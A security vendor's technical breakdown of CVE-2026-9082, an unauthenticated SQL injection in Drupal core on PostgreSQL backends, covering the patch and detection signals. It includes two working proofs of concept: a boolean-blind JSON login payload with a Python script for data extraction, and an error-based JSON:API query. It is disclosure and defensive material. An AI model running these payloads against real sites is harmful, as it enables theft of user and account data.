May 21, 2026
Keys to the Kingdom: Anonymous SQL Injection in Drupal Core (CVE-2026-9082)
Inside SA-Core2026-004
On the 20th of May, the Drupal Security Team released SA-CORE-2026-004 (CVE-2026-9082), a Highly critical (20/25) SQL injection in Drupal core. The issue is reachable by fully anonymous users on any deployment that backs Drupal with PostgreSQL. It was reported upstream by Michael Maturi and a fix shipped across every supported branch (11.3.10, 11.2.12, 11.1.10, 10.6.9, 10.5.10, 10.4.10), with best-effort patches for the end-of-life Drupal 8.9 and 9 lines.
This post is a same-day technical breakdown. We walk through the patch, explain why an unauthenticated JSON object survives into the SQL placeholder name on the case-insensitive IN path, and include two working proofs of concept. The login JSON variant was shared with us by Animesh Acharya at Tanto Security, along with the JSON:API variant that we cover later in the post.
We recommend upgrading to one of the patched releases (10.4.10, 10.5.10, 10.6.9, 11.1.10, 11.2.12, 11.3.10) as soon as possible. The SQL injection only affects PostgreSQL deployments, but the same Drupal release bundles upstream Symfony and Twig security updates that apply on every backend.
Entity queries and the Postgres override
Drupal ships the Entity Query API on top of the Database API. A call like Drupal::entityQuery('user')->condition('name', $name)->execute() is the common idiom for looking up a user by name. The entity query layer compiles conditions to SQL via Condition::compile() and ConditionAggregate::compile() in core/lib/Drupal/Core/Entity/Query/Sql/, and dispatches the SQL emission to a translateCondition method using late static binding so backend-specific subclasses can hook in.
PostgreSQL has one such subclass in core/modules/pgsql/src/EntityQuery/Condition.php. It exists because PostgreSQL is case-sensitive by default. To make case-insensitive comparisons behave the same way they do on MySQL, the override wraps both sides of the comparison in LOWER(...). For an IN (...) list this means emitting one LOWER(:placeholder) per value, which is the loop that the patch fixes. MySQL and SQLite never enter this loop. Their IN compilation goes through Drupal’s standard Connection::expandArguments() path, which generates sequential placeholder names from an internal counter and never reads user-supplied keys.
Tracking the patch
The fixing commit is eccc454. It touches three files and adds seven lines:
core/lib/Drupal/Core/Entity/Query/Sql/Condition.php
core/lib/Drupal/Core/Entity/Query/Sql/ConditionAggregate.php
core/modules/pgsql/src/EntityQuery/Condition.php
Both core/lib hunks add the same call inside the database-agnostic compile path:
// core/lib/Drupal/Core/Entity/Query/Sql/Condition.php
$condition['real_field'] = $field;
if (is_array($condition['value'])) {
$condition['value'] = array_values($condition['value']);
}
static::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field']));
// core/lib/Drupal/Core/Entity/Query/Sql/ConditionAggregate.php
$field = $tables->addField($condition['field'], $type, $condition['langcode']);
if (is_array($condition['value'])) {
$condition['value'] = array_values($condition['value']);
}
$condition_class = QueryBase::getClass($this->namespaces, 'Condition');
$condition_class::translateCondition($condition, $sql_query, $tables->isFieldCaseSensitive($condition['field']));
The third hunk applies the same transform inside the PostgreSQL override:
// core/modules/pgsql/src/EntityQuery/Condition.php
- foreach ($condition['value'] as $key => $value) {
+ foreach (array_values($condition['value']) as $key => $value) {
Three places, same fix: reset the keys of $condition['value'] to a sequential integer range before the override iterates. The two core/lib hunks sit before the static::translateCondition dispatch, so they catch every backend. The hunk in the override is defence in depth in case a future caller invokes translateCondition directly.
The vulnerable loop
The pre-patch handler for the case-insensitive IN operator in the PostgreSQL override:
$where_prefix = str_replace('.', '_', $condition['real_field']);
foreach ($condition['value'] as $key => $value) {
$where_id = $where_prefix . $key;
$condition['where'] .= 'LOWER(:' . $where_id . '),';
$condition['where_args'][':' . $where_id] = $value;
}
On each iteration:
$where_idis built by concatenating a prefix derived from the field name (for exampleusers_field_data_name) with$keyfrom$condition['value'].$where_idis written directly into$condition['where']as raw SQL text, wrapped inLOWER(:and). That string is spliced into the final query before PDO binds anything.
The loop assumes $condition['value'] is numerically indexed, so $key is always an integer like 0, 1, 2. If the caller hands the entity query an associative array, $key can be any string, and that string ends up inside the SQL.
Two paths to the sink
There are two anonymous entry points that we have confirmed reach this loop with attacker-controlled array keys: the JSON login endpoint and the JSON:API filter syntax. Both flip on Drupal’s default JSON content negotiation and both end up at the same pgsql override.
The shape of the pre-prepared SQL for the login lookup (the users_field_data query) looks like this, with USER_INPUT standing in for whatever the attacker put in the second array key:
SELECT "base_table"."uid" AS "uid", "base_table"."uid" AS "base_table_uid"
FROM
"users" "base_table"
INNER JOIN "users_field_data" "users_field_data" ON "users_field_data"."uid" = "base_table"."uid"
WHERE ((LOWER("users_field_data"."name") IN (LOWER(:users_field_data_name0),LOWER(:users_field_data_nameUSER_INPUT)))) AND ("users_field_data"."status" IN (:db_condition_placeholder_0)) AND ("users_field_data"."default_langcode" IN (:db_condition_placeholder_1))
:users_field_data_name0 comes from the first iteration where $key is the integer 0. :users_field_data_nameUSER_INPUT is the second iteration where $key is the attacker-controlled key. Anything PostgreSQL would parse as SQL inside that name (parentheses, operators, function calls) becomes part of the statement before PDO runs.
Variant 1: Boolean blind via JSON login
The JSON login endpoint at /user/login?_format=json is part of the core user module and is enabled by default on any install that has the REST or JSON:API routes enabled, which is the standard configuration on Drupal 9 and 10. The handler validates the submitted name by running an entity query against users_field_data. No session, no CSRF token, and no prior auth state is required.
Drupal parses the JSON body using Symfony’s JsonEncoder, which decodes objects into associative PHP arrays. If name is sent as a JSON object, the controller receives an associative array and passes it straight to the entity query.
The payload submits name as a two-key JSON object. The first key ("0") lines up with the legitimate first placeholder. The second key carries the injection. The trick that makes this practical on the login endpoint is that a PostgreSQL placeholder name only consumes identifier characters; the parser terminates the name at the first non-identifier character. The || operator (PostgreSQL string concatenation) ends the placeholder and lets us splice a divide-by-zero gadget into the surrounding LOWER(...):
POST /user/login?_format=json HTTP/1.1
Host: local:8000
Content-Type: application/json
Content-Length: 149
{"name":{"0":"drupal","0||1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' THEN 0 END)":"drupal"},"pass":"drupal"}
What the vulnerable loop produces:
iteration 1: key = "0"
where_id = "users_field_data_name0"
where += "LOWER(:users_field_data_name0),"
iteration 2: key = "0||1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' THEN 0 END)"
where_id = "users_field_data_name" + <above>
where += "LOWER(:" + <above> + "),"
After the trailing comma is trimmed and the closing ) is appended, the second LOWER(...) in the IN clause becomes:
LOWER(:users_field_data_name0 || 1/(SELECT CASE WHEN (SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' THEN 0 END))
The placeholder name terminates at the |, so :users_field_data_name0 resolves to its bound value ("drupal" in this payload). || concatenates that value with the result of the divide-by-zero subexpression. The inner CASE has no ELSE, so it returns 0 when the predicate matches and NULL when it does not. 1/0 raises a runtime error and PostgreSQL aborts the statement. 1/NULL evaluates to NULL, the concatenation produces NULL, and the query runs to completion.
That gives a clean status-code split per request:
- Predicate true: HTTP 500 with a PDO
SQLSTATEerror. - Predicate false: HTTP 400 with the standard “Sorry, unrecognized username or password” response.
import json
import requests
TARGET = "http://localhost:13080"
# Swap the predicate to walk any data the database user can read.
INJECTION_KEY = (
"0||1/(SELECT CASE WHEN "
"(SELECT name FROM users_field_data WHERE uid = 1) LIKE 'drupal' "
"THEN 0 END)"
)
body = {
"name": {
"0": "drupal",
INJECTION_KEY: "drupal",
},
"pass": "drupal",
}
r = requests.post(
f"{TARGET}/user/login?_format=json",
data=json.dumps(body),
headers={"Content-Type": "application/json"},
timeout=10,
)
print(f"status={r.status_code}")
print(r.text[:200])
Vulnerable install, predicate true (uid 1’s name starts with drupal):
status=500
{"message":"... SQLSTATE[22012] ... division by zero ..."}
Vulnerable install, predicate false:
status=400
{"message":"Sorry, unrecognized username or password..."}
Patched install (regardless of predicate):
status=400
{"message":"Sorry, unrecognized username or password..."}
One HTTP request per bit, which makes blind extraction of arbitrary data the database user can read practical at scanning speeds.
Variant 2: Error-based via JSON:API
The second variant reaches the same sink through the JSON:API module. JSON:API is not enabled by default, but it is a common addition on Drupal sites that expose content over an API. When it is enabled, anonymous read access to public nodes is the default configuration, and filter expressions on the index routes flow through the entity query layer.
JSON:API parses filter parameters from the query string using Symfony’s HttpFoundation parameter bag, which converts bracketed nested keys into nested PHP arrays automatically. A request like filter[t][condition][value][KEY]=x produces the PHP array ['filter' => ['t' => ['condition' => ['value' => ['KEY' => 'x']]]]]. Drupal hands the value array straight to the entity query, and the loop in pgsql/src/EntityQuery/Condition.php interpolates the KEY into the placeholder name.
A single backtick, single quote, or double quote in the key is enough to break the placeholder syntax and produce a PDO error:
GET /jsonapi/node/article?filter[t][condition][path]=title&filter[t][condition][value][`]=x HTTP/1.1
Host: <target>
On a vulnerable install, the response is HTTP 500 with SQLSTATE[HY093] (PDO’s “Invalid parameter number” code) in the body. HY093 is what PDO emits when the prepared statement references a placeholder name that does not match anything in the bound argument list, which is exactly the case after the injected character mangles the placeholder name in the SQL text. The same detection signal fires for [']=x and ["]=x, and the same payload works against any node bundle the site exposes with anonymous read access (/jsonapi/node/page, etc.).
On a patched install, array_values() resets the key, the placeholder name stays well-formed, and the request returns HTTP 200 with the standard JSON:API response body (empty data if no nodes match the filter).
Vulnerable:
HTTP/1.1 500 Internal Server Error
Content-Type: application/vnd.api+json
{"errors":[{"title":"Internal Server Error","status":"500","detail":"... SQLSTATE[HY093] ..."}]}
Patched:
HTTP/1.1 200 OK
Content-Type: application/vnd.api+json
{"jsonapi":{...},"data":[],"links":{...}}
This variant requires no POST body and no authentication beyond JSON:API being enabled and a node bundle being indexable, which makes it the cleaner primitive for fingerprinting in scanning workflows. Variant 1 is the cleaner primitive for time-based blind extraction once a vulnerable instance is confirmed.
Reflections
The fix is three array_values() calls. The bug is that a JSON object key on /user/login?_format=json, or a bracketed query string key on /jsonapi/node/{bundle}, flows unchanged into a placeholder name that ends up inside the SQL text on the PostgreSQL case-insensitive IN path. The combination of an attacker-supplied array key, a SQL emitter that interpolates that key into raw SQL, and a backend override that exists only on PostgreSQL is what made this a PostgreSQL-only issue rather than a Drupal-wide one.
For a defender, the practical signals are short: variant 2 is a one-shot GET that returns a recognisable SQLSTATE[HY093] on a vulnerable host, variant 1 is a POST that returns an HTTP 500 with a SQLSTATE[22012] (division by zero) when the boolean predicate is true. Both are gated on PostgreSQL being the database backend, so MySQL and SQLite installs are not exploitable through these paths. The upgrade is still worth picking up on those installs for the bundled Symfony and Twig advisories that the same Drupal release carries.
Searchlight Cyber customers will see coverage for CVE-2026-9082 rolled out across their attack surfaces.
About Searchlight Cyber
Customers of Searchlight Cyber’s ASM solution, Assetnote, are always first to receive checks for the novel vulnerabilities we discover – often weeks or months before public disclosure. Our Security Research Team continues to dig beyond public PoCs to deliver high-signal detections to our platform. Learn more.
in this article
Book your demo: Identify cyber threats earlier– before they impact your business
Searchlight Cyber is used by security professionals and leading investigators to surface criminal activity and protect businesses. Book your demo to find out how Searchlight can:
Enhance your security with advanced automated dark web monitoring and investigation tools
Continuously monitor for threats, including ransomware groups targeting your organization
Prevent costly cyber incidents and meet cybersecurity compliance requirements and regulations